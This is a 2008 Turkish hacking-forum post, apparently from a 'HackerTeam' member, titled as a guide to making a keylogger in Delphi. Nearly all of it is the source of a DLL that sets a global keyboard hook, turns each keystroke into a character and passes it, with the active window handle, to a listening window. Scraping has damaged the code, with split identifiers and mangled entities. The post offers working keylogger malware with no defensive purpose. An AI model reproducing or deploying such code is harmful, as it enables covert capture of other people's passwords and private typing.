AnasayfaAnasayfa  PortalPortal  TakvimTakvim  SSSSSS  AramaArama  Üye ListesiÜye Listesi  Kullanıcı GruplarıKullanıcı Grupları  Kayıt OlKayıt Ol  Giriş yapGiriş yap    

Paylaş | 
 

 Delphide keyloger Yapma

Önceki başlık Sonraki başlık Aşağa gitmek 
YazarMesaj
By_YakuZa
SysTem Root
SysTem Root
avatar

Erkek Mesaj Sayısı : 26
Nerden : HackSanal Ailesinden Puan:100
İş/Hobiler : Basketball
Forum Puanı : KorSan AmCa
Kayıt tarihi : 05/04/08

MesajKonu: Delphide keyloger Yapma   Çarş. Nis. 23, 2008 12:51 pm

library KBHook;
uses
Windows,
Messages;
type
PHWND = ^HWND;
const
WM_KEYBOARD_HOOK = WM_USER + 52012;
var
hHook: LongWord = 0;
Key: Word;
KeyboardLayout: HKL;
GetShiftKeys: Boolean;
hWndBuffer: PHWND;
hMMF: THandle;
function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
LastKey: Char;
KeyState: TKeyboardState;
begin
Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
if nCode<0 then
Exit
else begin
KeyboardLayout:=GetKeyboardLayout(0);
GetKeyboardState(KeyState);
if ToAsciiEx(wParam,MapVirtualKeyEx(wParam,2,Keyboard Layout),KeyState,@LastKey,0,KeyboardLayout)>0 then
Key:=Ord(LastKey)
else
Key:=wParam;
if (lParam and &l036;80000000)=0 then
if not (wParam in [16,17,18]) or GetShiftKeys then
PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetAc tiveWindow);
end;
end;
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;
var
bHWND: PHWND;
begin
hMMF:=CreateFileMapping(&l036;FFFFFFFF,nil,PAGE_READWRI TE or SEC_COMMIT,0,SizeOf(hWnd),&l039;((¯¨¤»TuRKi&l036;H_CoDeR«¤¨¯ ))KeyboardHookHandle&l039;);
bHWND:=MapViewOfFile(hMMF,FILE_MAP_WRITE,0,0,SizeO f(HWND));
bHWND^:=hWnd;
UnmapViewOfFile(bHWND);
GetMem(hWndBuffer,SizeOf(HWND));
hWndBuffer^:=hWnd;
GetShiftKeys:=ShiftKeys;
if hHook=0 then
hHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc, hInstance,0);
Result:=hHook<>0;
end;
function DeleteHook: Boolean; stdcall;
begin
FreeMem(hWndBuffer);
CloseHandle(hMMF);
Result:=UnhookWindowsHookEx(hHook);
hHook:=0;
end;
exports
CreateHook,
DeleteHook;
var
MMF: THandle;
begin
MMF:=OpenFileMapping(FILE_MAP_READ,false,&l039;((¯¨¤»Tu RKi&l036;H_CoDeR«¤¨¯))KeyboardHookHandle&l039;);
if MMF<>0 then begin
hWndBuffer:=MapViewOfFile(MMF,FILE_MAP_READ,0,0,Si zeOf(HWND));
CloseHandle(MMF);
end;
end.__________________

_________________

]



By_Yakuza* HackerTeam[img][/img][img][/img][url][/url][url][img][/img][u][img][/img][i]
Sayfa başına dön Aşağa gitmek
Kullanıcı profilini gör
 
Delphide keyloger Yapma
Önceki başlık Sonraki başlık Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-
» Fps 100 yapmak
» X ev yapma gif

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
 :: Programlama :: + Visual Basic-
Buraya geçin: